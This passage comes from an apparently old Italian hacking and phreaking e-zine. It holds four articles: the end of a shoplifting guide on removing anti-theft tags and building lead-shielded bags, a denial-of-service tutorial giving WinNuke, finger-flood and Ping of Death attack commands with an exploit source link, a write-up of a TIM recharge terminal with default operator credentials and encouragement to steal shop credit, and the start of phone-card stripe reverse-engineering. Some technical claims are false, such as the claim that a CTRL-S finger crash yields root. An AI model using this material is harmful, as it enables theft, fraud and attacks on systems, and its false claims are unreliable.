attenzione. Ricordate che il corpo esprime le nostre intenzioni meglio delle
parole, talvolta l'autocoinvincimento aiuta molto, far conto di recitare una
parte per taluni e' indispensabile.
Veniamo ora ad alcuni dettagli tecnici.
Sicuramente tutti avete notato quei 2 enormi sensori che si trovano alle uscite
dei negozi o delle casse....ecco quelli sono cattivi e terribilmente pettegoli,
dicono subito se avete fatto qualcosa di male.
Ma come tutte le macchine possono essere fregati, spesso molto facilmente.
Il funzionamento di questi sensori si basa sulla facile e sicura rilevabilita'
di alcuni oggetti magnetici o ellettromagnetici.
Quindi il vostro nemico numero 1 sono questi oggetti.
Molto spesso si tratta di semplici bandine magnetiche incollate sulla merce,
che possono essere eliminate come se si trattasse di nastro adesivo, somigliano
molto a questo:
--------------------------
|************************|
--------------------------
Ma attenzione perche' ultimamente in alcuni negozi queste bande magnetiche sono
mimetizzate, hanno la forma di un codice a barre adesivo, che pero' se guardato
con piu' attenzione mostra in trasparenza le piste magnetiche al suo interno.
Una volta individuato puo' essere eliminato semplicemente staccandolo, come una
qualsiasi etichetta.
Occhio che a volte viene usato insieme a quello del disegno qui sopra, forse
per nascondere la sua presenza.
Un metodo sicuro consiste nell'eliminarli tutti e 2.
Attenzione anche al tipo di merce.
Se avete l'impressione che la scatola sia stata aperta lasciate stare,
poiche' molti negozianti aprono le scatole per inserire di queste etichette
anche all'interno.
Oppure se ne avete l'occasione controllate anche l'interno ed eliminate le
fastidiose etichette.
Un sistema di sicuro interesse consiste nell'appiccicare le bandine rimosse su
altri clienti a caso, o sulla loro roba, cosi' intanto che tutti vengono
fermati per controllo, voi potrete pagare il classico pacchetto di gomme da
masticare, passando inosservati e divertendovi un mondo.
Altre volte invece, gli oggettini spioni non sono cosi' facili da eliminare.
Nei negozi di dischi ad esempio vengono talvolta usate delle custodie in
plastica rigida con all'interno il classico bandino magnetico.
Tali custodie possono essere asportate solo con la relativa chiavetta di
sblocco, in genere in possesso della cassiera.
Quello che potete fare in questi casi e' forzarle con un coltellino (cosa che
richiede tempo ed un posticino appartato non sempre disponibile) oppure
servirvi di una cartella o di una qualche borsa opportunamente schermata, in
modo da potervi inserire gli oggetti frekkati con tutta la protezione che
distruggerete poi con comodo.
La parte delicata a questo punto e' la schermatura.
Come ben sapete il piombo impedisce il passaggio di tutte le onde
elettromagnetiche, a parte quelle di hiroshima, che pero' non ci riguardano.
Dovete comprare dei fogli di laminato in piombo, come quelli che vengono usati
per schermare le pareti delle stanze in cui vengono fatte radiografie.
Tali fogli sono in vendita nei migliori ferramenta. (Consiglio: almeno quelli
pagateli)
A questo punto dovete usarli per rinfoderare la vostra borsa da guerra.
La borsa e' preferibile che sia il meno rotondeggiante possibile, in modo da
poterla schermare completamente ed efficacemente.

EHHmm il nostro eroe dice NO COMMENT, non vede non sente non parla!!!

A questo punto la nostra storiella e' arrivata alla fine della prima puntata,
ma prima di lasciarci il nostro eroe ci urla le ultime dritte.
Se veramente volete imitare L'EROE, allora dovete ricordarvi sempre che prima
di fare qualunque cosa dovete esserne convinti, dovete essere preparati, e
dovete sapere che nessuno qui si prendera' nessuna responsabilita', solo i
LAMER si gasano, fanno e poi piangono dalla mamma accusando altri, RICORDATE:
I LAMER VIVONO POCO !!!

OK l'articolo e' finito, la parte cattiva dell'eroe si e' messa in viaggio
nella notte in cerca di nuove avventure e la parte buona e' morta da tempo, per
cui alla prossima, possibilmente in una notte fredda, buia e malsana, in cui
l'immagine stanca e maligna della LUNA non sia a SCACCHI !

VaNaDiO


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍHACKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ D0S: FiNGER-SSPiNG ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve.....beh inizio col dirvi che e' la prima volta che scrivo per un magazine
che tratta questi argomenti, anche se non e' la prima volta che collaboro per
riviste telematiche.
Il punto e': riusciro' a scrivere qualcosa??
No, non deve importarvi se riusciro' a scrivere bene, l'importante e' che
capiate i concetti che sto per spiegare (?).

In questa mia prima presentazione parlero' dei DoS in generale, spieghero' un
primo semplice attacco e il materiale occorrente.

Bene, e' ora di iniziare davvero, se siete novizi e credete che per DoS si
intenda il sistema operativo della Microsoft allora vi conviene leggere
attentamente quanto segue, altrimenti potete pure saltare quanto riportato
sotto.

Il Termine DoS sta ad indicare i Denial Of Service Attack. Il termine
letteralmente tradotto sta ad indicare una negazione da parte dei sistemi di
servizio, in pratica e' proprio questo che succede e cioe' i sistemi di
servizio hanno delle negazioni a compiere i normali processi del loro lavoro.
Ora vi starete domandando che utilita' abbiano i DoS. Per prima cosa mediante
un attacco DoS ad un Server (ed in generale ad una macchina) si possono
ottenere degli accessi (spesso anche da root) ed in seguito hackarlo.

Bene a questo punto credo che sia meglio spiegare come effettuare un attacco e
qual'e' il materiale necessario per farlo.
Spesso come in quasi tutte le tecniche Hack basterebbe un semplice client
Telnet. Pero' e' bene procurarsi un buon PortScanner, ne esistono molti sia
sotto Win (consiglio TRILODA P.S. 1.0) che sotto linux.
E' anche utile conoscere le tecniche di spoofing per tre motivi:
1) Spesso bypassano i firewall;
2) Evitare di farsi riconoscere e denunciare;
3) Ottenere accessi sicuri.
Per quanto riguarda lo spoofing lascio spazio a chi ne sa piu' di me e lo
pratica da piu' tempo (come Infected Machine e PhoenYx), mentre spiegare il
funzionamento del portscanner non e' difficile. E' usato per cercare porte
aperte su un ip: in pratica un portscanner cerca di connettersi (una alla
volta) a tutte le porte dell'obiettivo ed ogni qualvolta ci riesce fa notare
che la porta permette la connessione.
Come gia' detto questo procedimento si potrebbe fare mediante telnet,
connettendosi di volta in volta ad ognuna delle porte, ma cio richiederebbe
troppo tempo, mentre una utility fatta apposta ce ne fa risparmiare molto ed e'
piu' sicura.

Ora vediamo di realizzare il nostro primo attacco.
Questo sara' alquanto semplice da realizzare, moltissimi lo conoscono e tutti
gli utenti Windows hanno avuti seri problemi fin quando non e' stata rilasciata
la patch.
Il WinNuke o anche OOB sfrutta un bug che si suppone esistesse gia' in Win3.11.
In ogni modo funziona cosi': Windows ha una porta 139 che e' usata per inviare
dati OOB (out of band). Per attaccare una persona che non ha ancora la patch
cosa dobbiamo fare?
Esistono diversi casi:
1)Inviare il messaggio BYE alla porta causando a windows strane reazioni come
lo schermo blu o il blocco o entrambi.
2)Inviare un codice non valido al netbios di Windows sulla Porta 139 (o per NT
137), normalmente un codice OOB, che causa un freeze a Windows e richiede un
reboot.
Bene per realizzarlo basta compilare il sorgente .c (cercatelo su
http:\\www.technotronic.com\files\denial\ ) ed agire (sotto linux) oppure
utilizzare uno degli innumerevoli programmi esistenti in rete.

Beh ma credo che questo sia fin troppo facile no??
Quindi che ne dite di reazzirne uno nostro di attacco?
Eccolo qua...realizziamo 2 attacchi Finger DoS.
Normalmente i Server (Unix, Linux e *nix based) hanno attivo uno speciale
programma che mostra il software utilizzato dal server, gli utenti collegati e
qualche altra informazione, questo programma si chiama Finger.
Dopo che ci siamo assicurati che il Server (o l'utente se usa una connessione
sul server) abbia attivato il Finger, avviamo il nostro client Telnet e
connettiamoci alla porta 79 del Server, a questo punto scriviamo ///* e poi
premiamo CTRL-S (CTRL-S e' il cosiddetto Freeze, un codice di controllo che
blocca la macchina), a questo punto il computer Server si blocchera' e noi
avremo accesso Root. Come si spiega il nostro Root? Semplice una volta che la
macchina principale e' crashata non si ha piu' un interprete dei comandi, ma
una connessione diretta alla shell dei comandi con il livello massimo
(superuser o root).
Semplice no?

Un altro attacco al finger anche questo molto semplice avviene mediante
ripetute connessioni alla porta 79, lasciando aperte di volta in volta le
connessioni: ad un certo punto il server non accettera' piu' connessioni e
rallentera' se non addirittura crahera'.
E' utile crearsi una utility che permetta di fare rapidamente ripetute
connessioni, o utilizzare un portfucker.

Quando effettuate un attacco finger se il vostro finger client lo permette,
cercate di nascondere il vostro IP effetuando un bounce (rimbalzo). Cioe'
chiedendo ad un server di fare richieste finger ad un altro server e far
risultare quindi come richiedente non il nostro ip, ma quello del server
richiedente.
Il comando da utilizzare e': Finger @sito1.it@sito2.com

Ora parlo di un attacco che sfrutta un bug del protocollo TCP/IP, anche questo
e' alquanto vecchio, ma puo' aiutarvi a comprendere alcuni metodi per crashare
un sys e magari creare un vostro attacco DoS.

L'attacco in questione e' l'ssPing
Colpisce vari sistemi operativi, e' anche conosciuto come: "jolt", "sPING",
"ICMP bug", "IceNewk", "Ping of Death".

L'ssPing e' un tipo di attacco con pacchetti ICMP che causa un freeze del
computer.
E' possibile crashare, rebootare o altrimenti killare un grande numero di
sistemi mediante l'invio di un ping di una certa grandezza da una macchina
remota.
Questo e' un problema serio, principalmente perche puo' essere riprodotto
molto facilmente, e da una macchina remota.
E perche' chi attacca non deve conoscere altro che l'indirizzo IP.
Da alcuni test, iniziati il 21 Ottobre, piu' di 18 dei maggiori sistemi
operativi sono risulati vulnerabili.

SSPING/Jolt e' un attacco che effettivamente fa il freeze di pressoche' tutte
le connessioni Internet.
E' basato su di un vecchio codice che freeza le vecchie implementazioni SysV e
Posix.
Lavora principalemte mediante l'invio di una serie di Pacchetti ICMP spoofati
e fragmentati all'obiettivo, che costruisce un ping da 64k, e il sys cessa di
funzionare completamente.
I computer che utilizzano Windows NT o Windows 95 terminano le risposte
(sospensione) quando ricevono datagrammi ICMP fragmentati da un client, ma
anche altri os lo fanno...

E' molto facile da spiegare come viene sfruttato.
Principalmente, molti sistemi non possono essere pingati con pacchetti piu'
grandi di 65536 bytes (64K). Questo bug non e' limitato all'Unix, ma esiste su
Mac, Netware, Stampanti, Router... e cosi' via.
Le Patch stanno uscendo molto velocemente (quella per Linux e' stata rilasciata
dopo tre ore (relamente 2 ore 35 minuti 10 secondi), e Bill Webb della Telebit
assicura che la patch per Netblazer e' stata rilasciata in due ore!).
Un datagramma IP di 65536 bytes e' illegale (nel senso che i computer non
permettono il loro invio), ma e' possibile crearne uno in modo che il pacchetto
sia fragmentato (diviso in pezzi per la trasmissione).
Quando i frammenti vengono riassemblati agli altri finiscono dentro un
pacchetto completo, inondando il buffer di qualsiasi sitema, causando
(differentemente) un reboot, panico, sospensioni, e qualche volta anche non
avendo effetto...
Piu' attuazioni di ping non permetteranno a un datagramma invalido come questo
di essere spedito.
Le uniche eccezioni conosciute sono Windows 95 e NT, sebbene non siano
certamente gli unici...

Per capire meglio come funziona questo attacco bisogna spiegare meglio alcuni
punti.
Informazioni di fondo su ICMP ECHO ("ping"):
i pacchetti IP secondo la RFC-791 possono essere superiori alla lunghezza di
65,535 (2^16-1) ottetti, che include la lunghezza dell'intestazione
(tipicamente 20 ottetti se nessuna opzione IP e' specificata). I Pacchetti che
sono piu' grandi della dimensione massima possono essere maneggiati dallo
strato di underlyling (l'MTU) e fragmentati in pacchetti piu' piccoli, che
vengono riassemblati dal ricevitore. Per apparecchiature modello ethernet,
l'MTU e' tipicamente 1500.
Una richiesta di ICMP ECHO "vive" nel pacchetto IP, che e' composto da otto
ottetti di informazioni di intestazione ICMP (RFC-792) seguito dal numero di
dati degli ottetti nella richiesta "ping".
Da adesso la grandezza massima di informazioni ammessa all'area dei dati e':
65535 - 20 - 8 = 65507 ottetti.

Ma cos'e' che causa alla macchina il crash?
Nota che e' possibile inviare un pacchetto echo illegale con piu' di 65507
ottetti di dati adeguato al modo in cui e' stata fatta la fragmentazione.
La fragmentazione fa affidamento su di un valore di offset in ciascun frammento
per determinare dove il frammento individuale va riassemblato.
Cosi' sull'ultimo frammento, e' possibile combinare un offset valido con un
fragmento grande quanto [offset + grandezza] > 65535.
Da quando le macchine tipiche non processano i fragmenti fin quando non li
hanno tutti e hanno provato a riassemblarli, c'e' la possibilità di un overflow
dei 16 bit varibili interni, che possono condurre il sistema al crash, reboot,
alla caduta del kernel, al panic kernel e cosi' via.

Con tutto questo parlare di ping, e' facile perdere l'origine del problema.
Joel Maslak (j@pobox.com) ha esposto che questo exploit non e' limitato al
ping. Il problema puo' essere sfruttato da qualsiasi cosa che spedisce un
datagramma IP (N.B. probabilmente il blocco di costruzione piu' importante
della rete). Non solo ICMP echo, ma TCP, UDP e (apparentemente) anche il nuovo
modello IPX puo' essere usato per colpire le macchine nei punti deboli.
La linea di fondo e' che il bloccare i ping con un firewall e' temporaneamente
l'unico fix.
L'unica soluzione che assicura il kernel contro l'overflow quando ricostruisce
i fragmenti IP.
Cosi' non pensare di essere salvo appena hai bloccato i ping.
Un danno potrebbe essere fatto attraverso NFS, telnet, http...
In breve, qualsiasi porta della tua macchina listata e' sfruttabile.

Come testare se si e' protetti?
Sfortunamente, questo bug e' abbastanza facile da sfruttare.
Cosi', per testare se la tua macchina e' in pericolo, cerca nel box di Windows
'95 o NT (3.51 o 4), ma si puo' fare anche con gli altri os e usa il seguente
comando:

ping -l 65510 tuo.host.indirizzo.ip

Il comando sopracitato non e' altro che l'attacco vero e proprio.

Il messaggio sul box '95 sara' "Request Timed Out".
Questo vuol dire che il ping non riceve risposte, o perche' la macchina ti
ignora (ed e' esattamente cosi' se stai mandando pacchetti illeciti), o perche'
e' morta. Semplice...

Al posto di usare l'attacco mediante ping, si puo' compilare ed usare l'exploit
( http:\\www.technotronic.com\files\denial\ ).

Come Proteggersi?
Se non e' disponibile una patch, e la tua preoccupazione principale e' il ping
dagli utenti fuori dalla tua rete, la migliore soluzione veloce sembrerebbe
bloccare i ping con un firewall.
Questa non e' una soluzione a lungo termine. Se hai *qualche* servizio
disponibile su qualche porta a tutti, queste sono vulnerabili.
E' sicuro che prima o poi qualcuno uscira' fuori con un programma che inviera'
pacchetti illeciti al server web, alla porta ftp.
L'unica soluzione e' una patch al sistema operativo. La patch ti protegge al
100% contro questo bug.
Con il blocco dei ping, previeni la gente che vuole pingarti sempre.
Questo potrebbe stoppare qualcosa che ha a che fare col ping.
Credo che il DEC ObjectBroker usi ping per confermare un collegamento ancora
attivo. Gli altri pacchetti possono anche andare.
Una soluzione migliore del bloccare tutti i ping e' bloccare solo i ping
fragmentati. Questo permette al tuo ping comune da 64 byte di passare
attraverso tutti i sistemi, mentre blocca qualsiasi ping piu' grande dell'MTU
del tuo collegamento. (Questo varia, ma circa 1k e' una buona scelta).

Bene per questa volta ho finito, so di non essere stato abbastanza chiaro,
spero di migliorare col tempo, comunque cio' che ho riportato sopra puo'
essere sfruttato, imparato e capito solo con la pratica.
Lobotomia


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ C0ME ŸUNZi0NA UN CENTR0 TiM ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍͼ
RiCARiCHE/C0NTRATTi

DISCLAIMER :
Non sono responsabile, non so niente, non ho visto niente, non mi rompete
i coglioni, non lo ho scritto io etc.......
Ci siamo capiti !!!!! :-)

Allora, eccomi qui ad illustrare il funzionamento dei Centri Tim e piu'
in particolare la questione della ricarica dei Timmy.

I Centri TIM, per poter effettuare tutte le procedure necessarie alla
registrazione dei contratti e alla ricarica, si collegano via Modem ad
un computer centrale della TIM con cui scambiano dati, informazioni,
foto porno ehm, vabbe' ci siamo capiti.

Il collegamento viene effettuato con PC montanti (ah siih... :-)) Windows 3.1
e il software dei nostri sogni: Point of Sale v2.X (dove X e' 3 o 6, la
versione cambia a seconda del menu' in cui siete, penso che questo bug,
chiamiamolo cosi', sia dovuto ad un attacco di pazzia del programmatore),
altrimenti detto anche SID (non conosco il significato della sigla);
parliamo un attimo del collegamento:

- Connessione a 14400
- Connessione di tipo PPP (cosi' riporta il sw di collegamento gia' incluso
nel PoS, sembrerebbe che venga usato anche un driver FTP ma non ci giuro)
- Connessione su un bel green: 167-295XX3 (Vi piacerebbe sapere il numero,
eh, e invece vi lascio come compito a casa, un sano wardialing x trovarlo!)
(Tale numero se non erro dovrebbe avere 2 nodi: Trieste e Roma)

Una volta connessi parte una serie di autenticazioni, che x quanto ho visto
sono strutturate su tre livelli:

1- Autenticazione iniziale (come riportato dal log della connessione del sw
di collegamento col modem) cioe' mi spiego esce 'na roba tipo questa:

ATX3DT167295XX3
Connesso a 14400 LAPCM
VERIFICA DEI DATI DELLA POSTAZIONE IN CORSO
Autenticazione effettuata

Di questa autenticazione non so come possa funzionare, presumo che sia qcosa
a livello o hardware oppure qcosa sull' HD tipo serial (quindi cazzuta).

2- Autenticazione Intermedia: questa avviene a collegamento effettuato gia'
all'interno del sw PoS ed ho scoperto che login e password sono
rispettivamente OPERATORE e TELECOM2 (penso potrebbero andare anche
TELECOM1 o TELECOM, non so, e dovrebbe essere "NON CASE SENSITIVE").

3- Autenticazione finale, o del punto vendita: qui il punto vendita mette
il suo login e pwd ed infatti una volta connessi nel PoS si vede il nome
del negozio.

Per questo motivo quindi si puo' capire che si rischia di inculare il negozio
e non tanto la TIM, anche perche' la ricarica, cosa che interessa
maggiormente, avviene in questo modo:

Il Centro TIM XYZ chiede alla TIM di "caricare" sul suo account x es. 200
ricariche da 50karte, che poi vanno a scalare durante l'utilizzo, quindi
se x es. noi entrassimo con l/p del negozio XYZ gli fottiamo delle ricariche
e inculiamo lui, non la TIM (Se volete fate pure voi disquisizioni del tipo
"il punto vendita non c'entra", "meglio lui che noi, tanto sono pieni di
soldi", "tua mamma e' una X)("!H£"!/)" etc...).

Osservazione MOLTO IMPORTANTE: da quello che ho scoperto posso dire queste
tre cose che rendono un hack molto piu' difficile (come se gia' non lo fosse):

- LE DOPPIE ENTRATE VENGONO SEGNALATE: se qualcuno e' gia' dentro con login
A e pwd B e un altro cerca di entrare con le stesse il terminale segnala
a quest'ultimo che "l'allocazione e' gia' stata effettuata"
(o 'na cosa simile) e quindi non riesce ad entrare.

- LA LINEA NON E' ATTIVA TUTTO IL GIORNO ma viene attivata solo negli orari
di apertura dei negozi quindi scordatevi di collegarvi alle 2 di notte per
evitare la doppia entrata, penso che la disattivino alle 21 (o forse cambia
a seconda del negozio e di quanto sta aperto).

Mi viene inoltre segnalato da un membro del gruppo S0ftProject che:

- LA LINEA NON E' ATTIVA DURANTE TUTTO L'ANNO o forse intende NON FUNZIONA
TUTTI I GIORNI (tipo a Natale penso che non vi permettano di accedere).

Una volta collegati ci si trova in un bel menu' con servizio prepagato,
contratti e tutto quello che volete; la ricarica funziona in modo molto
semplice (non ricordo l'ordine esatto):

- Si inserisce numero di telefono da ricaricare.

- Si inseriscono i dati di chi ricarica (non e' assolutamente necessario
che corrispondano con l'intestatario del numero) cioe' codice fiscale
e se e' gia' presente tra le persone che hanno ricaricato escono gia' i dati
della persona altrimenti vengono chiesti nome, cognome.... vabbe' cque un
lavoro da GenerID v2.2 :-))

-Si sceglie quanto ricaricare

FATTO !!!

P.S.: Non bisogna inserire nessuno codice segreto, PIN, PUK o salcazzo cosa
altro, basta il numero infatti se x caso l'operatore sbaglia e ricarica il
telefono sbagliato, sono solo cazzi dell'utente (non puo' essere neanche
rimborsato ed e' alquanto difficile risalire a colui cui e' stato ricaricato
per sbaglio); per questo apro una parentesi:

PROPRIO PER QUESTO MOTIVO, RITENGO CHE SE IO RICARICO IL TELEFONO A GIACOMINO
FACENDOGLI PAGARE UN PO' DI MENO, E LA TIM GLI ROMPE I COGLIONI
(COSA DIFFICILE TRANNE SE SI ACCORGE CHE E' STATO FATTO ILLEGALMENTE) LUI
PUO' BENISSIMO DIRE: "CHE CAZZO VOLETE DA ME, NON MI ROMPETE I COGLIONI,
AVRETE FATTO UNO SBAGLIO VOI O QUALCHE DEFICIENTE HA RICARICATO IL MIO
TELEFONINO AL POSTO DEL SUO, ANDATE A CAGARE BASTARDI RINCOGLIONITI !!!"

O magari anche con parole piu' delicate, comunque ho reso l'idea.

Ora vi allego qui sotto le considerazioni di un amico che ha provato via
centralina meccanica una "penetratio" del green, troverete anche alcuni
miei commenti con c:\cavallo> prima :-)

===============================================================================
THE PERFECT PHREAKER
-------------------------------------------------------------------------------
step one: trying to access on a telecom server, chapter 1
ovvero come farsi beccare e finire in galera..... (speriamo di no)
-------------------------------------------------------------------------------

In data XXXXX tentavo di collegarmi al numero ricevuto dal cielo e constatavo
con (non ti dico quanta) sorpresa che il terminale, una volta in carrier
detect, non fa semplicemente un cazzo.
Se ne sta zitto, non ti dice niente, non comunica nulla e sulla linea c'e' SOLO
ED ESCLUSIVAMENTE la portante (la portante e' quella forma d'onda che viene
modulata sulla linea e che serve per "portare" (cazzo, strano!) i segnali veri
e propri e che mantiene il collegamento anche senza l'invio di dati.)
Praticamente e' in modo originate e non in answer, almeno suppongo.
E' come se ti stesse chiamando lui.
Procedendo ai tentativi piu' svariati, ho constatato che:

Il server se ne sta in attesa, aspettando "qualcosa", magari il seriale
tanto nominato, oppure aspetta di sapere che tipo di terminale si sta
collegando (magari e' usato anche da altre aziende per altre cose, non so)
con i soliti enter doppio space, ed esc, ti sconnette.
Solo enter o solo esc ti sconnette.
Pero' ti fa scrivere quello che vuoi, chiaramente non restituisce l'echo
dei caratteri, e quando dai l'invio ti sconnette probabilente per la pass
sbagliata od il seriale scazzato.

Riassumendo:
IL TERMINALE, PUR NON COMUNICANDOTELO, VUOLE UNA PASSWORD O UNO USERID OPPURE
NECESSITA DI SAPERE CHI E' DALLA'ALTRA PARTE.

-------------------------------------------------------------------------------
Per la serie "gli esempi del cazzo" eccoti il paragone:
-------------------------------------------------------------------------------

Immagina di essere un informatore e di dover comunicare informazioni riservate
ad un altro tizio del cazzo.
Sicuramente non andrai in giro a dire "Oh, io devo dire un'informazione
riservata!, c'e' mica il tizio che cerco?? ehi?? mi sentite??"

Te ne staresti zitto, e aspetteresti che il tizio ti venga a dire "SONO IO,
DIMMI TUTTO".
Questo e' quello che fa il server laggiu' alla telecom.

Ma come stracazzo fare per sapere COSA vuole, quante pass, quanti id,
1 alla volta? 2 alla volta? boh? un brute force potrebbe essere l'unica cosa,
ma su quali basi compilare la sorgente per le pw?
In che ordine fornirle?
Non credo che siano solo robe come admin, root, sysop, etc.., ma robe come
9255ui5gilojh5giu5gpi32u5gk32jhvrljehfbvd9pc7t\
(per il seriale della postazione, si intende).
Con un server che ti prende per il culo e ti riattacca in faccia appena
scazzi, e' un'impresa.

Mi sa che si ritorna al seriale della "postazione", l'unica cosa che forse,
neanche i dealers possono (anche volendo) vedere!!!!!!!!!!!!!
CREDO CHE LO POSSA CONFIGURARE SOLO L'ASSISTENZA
Infatti ieri stavo pensando che la telecom non puo' essere cosi' stupida
da non considerare che su 300 (ipotizziamo) centri di ricariche in italia,
almeno 1 abbia un'operatore che ne puo' capire qualcosina di hacking e
phreaking..

Allora, diciamo che si siano prevenuti, e si siano attrezzati:
Io avrei scelto i modi piu' sicuri per farlo:
1- Farsi un software fuori

  
standard.
2- Utilizzare per l'invio e la ricezione due protocolli diversi: ppp / ftp .
Gestire l'invio dei dati in maniera complessa: (l'ftp di cui parlavi, credo
serva proprio per questo) loro si collegano, il software inizia la
negoziazione, senza il sw la connessione non prosegue nemmeno.
Una volta connessi il server resta in attesa dei dati che vengono poi spediti
in FTP! Poi aperti, elaborati etc.. e roba varia..
Quindi bisogna pensare ad una vera e propria DOPPIA connessione
PPP-TCP/IP,FTP!
E a questo punto, io direi MEEEERDDDDA.

3- E NON MENO IMPORTANTE, LA STORIA DI "VERIFICA DEI DATI DELLA POSTAZIONE
IN CORSO" MI FA VENIRE IN MENTE QUALCOSINA... HAI PRESENTE UN BEL TRACE
FATTO PERBENINO CHE SE IL NUMERO TELEFONICO NON E' QUELLO DEL CENTRO TIM
"DA GINO" NON TI ABILITA?????????????????????????????????????????????

c:\cavallo> Secondo me questa e' 'na cosa un po' esagerata, non arriviamo a
livelli X-Files, forse puo' essere pero' una cosa simile ai servizi fax on
demand, il centro TIM inserita la password viene poi automaticamente
richiamato dal server che stabilisce la comunicazione.

P.S.:
LE INFO NON VENGONO INVIATE IN TEMPO REALE PERCHE' QUANDO HANNO FINITO DI
INSERIRE I DATI, TI CHIEDONO "TUTTO A POSTO, VADO?" E PREMONO IL
PULSANTE PER INVIARE...

c:\cavallo> Questa e' una cazzata, i dati vengono si' inviati in tempo reale
anche perche' x esempio quando metti il codice fiscale il terminale si mette
a lavorare e dopo un po' ti restituisce i dati della persona (se presente)
presi dal database di Sorella TIM.

-------------------------------------------------------------------------------

Non ho mai visto un server ftp che richiede 2 pw. quando hai l'accesso
root, o ce l'hai o non ce l'hai E SERVE UNA SOLA PW.

c:\cavallo> Fino a qui ci arrivo anche io, ma chi ci dice che e' un vero
ftp? potrebbe, anzi sicuramente e', essere un sw dedicato!!

Quindi e' ipotizzabile:
una connessione tcp/ip "rigirata" (difficile connettersi, perche' tutti pensano
che il server non risponda e invece devi essere tu a farlo, sono configurazioni
che pochi si ricordano, ormai lo standard le ha cancellate..), cioe' tu in modo
answer e lui in originate (sono delle configurazioni dei modem), con una
autenticazione di sw, numero tel. (cazzo!) e poi di user.

Il server poi potrebbe comunicare al software (eventualmente) l'algoritmo "del
giorno" (piu' sicuro cambiarlo una volta al giorno) per quanto riguarda
l'impacchettamento dei dati rigurardanti l'utente.

Poi, effettuato l'inserimento, il sw fa un calcolino secondo il suddetto
algoritmo, richiede di poter inviare, il terminale "devia" in ftp e invia il
tutto al server (mooolto complesso).

Il server lo apre, (tipo un mailer door) lo elabora e ti accredita il tutto.
Questa elaborazione, etc.. spiega il leggero ritardo di accredito.

===============================================================================

E' Tutto, carissimi compari, fate buon uso di queste infos.

L'uomo chiamato Cavallo

P.S.: Evitate di Postare questo articolo sui NewsGroup.

Cavallo De Cavallis


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍPHREAKiNGÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄÄ MTŸ PR0JECT ÄÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Tutto e' iniziato qualche mese fa, quando ad una delle tante fiere
dell'informatica, mi capito' sotto il naso uno stranissimo oggetto..
All'apparenza sembrava un normalissimo gioco per bambini, di quelli tipo
Sapientino che ti insegnano il nome degli animali o come si dice in inglese
"cesso".. Era un gioco abbastanza vecchio e demente, infilando delle tessere
nell'apposita fenditura ascoltavi una voce che spiegava cosa dovevi fare...
Dopo qualche secondo di osservazione notai pero' un particolare molto
interessante: quelle tessere avevano il messaggio memorizzato su una banda
magnetica molto simile a quella presente sulle carte telefoniche telecom.
Per 10 mila valeva la pena di provare se questa malsana idea, infilare una
carta telecom in un gioco per bambini, potesse avere un senso.. E cosi' comprai
quel gioco..
In quel preciso momento prese il via il Progetto MTF... ovvero Magnetic Telecom
Fuck..

Il Dimmy (prodotto dalla CABEL) ribattezzato MTF1 (per dargli un tono piu'
serio) sembra davvero pensato per leggere le carte telefoniche... La sua
testina, oltre ad essere di buona qualita', e' fissata in modo da scorrere
verso l'alto e verso il basso, in modo da centrare esattamente la traccia
magnetica presente sulla scheda...
Cosi', dopo aver collegato l'uscita dell'altoparlante all'ingresso della Sound
Blaster, sono riuscito a memorizzarmi in formato wave la forma d'onda di
diverse carte telefoniche..
E in questo articolo vi esporro' i risultati delle mie ricerche..

- Analisi dell'onda di una generica carta Telecom (file Cartatel1.mp3) -

Premessa: purtroppo la mia conoscenza dell'elettronica e' molto scarsa.. Visto
che ho pure frequentato il liceo scientifico, le poche informazioni che
possiedo sono dovute a un puro interesse hobbystico.. I dati riportati qui di
seguito sono dunque piu' frutto dell'intuito che di una specifica
preparazione.. Percio' se vi dicono di mettere la mano sul fuoco per qualcosa
che e' scritto qui sopra... Non lo fate...

Studiando i wave di diverse carte da 10000 e 5000 mi sono accorto innanzi
tutto che una scheda telecom e' sempre divisa in tre parti (fig1.gif)...
Le prime due (1 e 2 in figura) sono fisse, ovvero tutte le volte che la carta
viene usata non cambiano (fra la prima e la seconda serie c'e' sempre un
impulso singolo)..
Con molta probabilita' dunque queste due parti contengono il numero di serie
della tessera e la sua data di scadenza.. Oltre ad altre informazioni
specifiche della telecom.
Poi c'e' la terza parte (3 in figura), e qui le cose si fanno piu'
interessanti..
Infatti e' costituita da una strana sequenza di onde tutte uguali (se si
esclude l'ultima)..
Mi sono dunque chiesto cosa dovrebbero rappresentare tutte queste onde messe
in fila e, alla fine, mi sono reso conto che il loro numero corrisponde
esattamente alle 200 lire rimaste sulla tessera.. Ovvero una scheda nuova da
10000 ne avra' 50 e una da 5000, 25.. tutte le volte che usiamo la carta
vengono cancellate un numero di onde pari agli scatti effettuati e, ovviamente,
l'assenza di queste onde significa che la vostra scheda e' scarica..

Ma andiamo un po' piu' in profondita'.. Innanzi tutto: quale tipo di
memorizzazione e' usata ?
Qui il discorso si fa abbastanza incasinato.. Da quello che ho letto esistono
una caterva di modi di memorizzare dati su nastri magnetici, ognuno con i suoi
standard e cazzi vari..
Poi io non sono assolutamente preparato in questo settore e i mezzi di cui
dispongo come avrete capito sono ridicoli.. Pero' osservando bene i file in mio
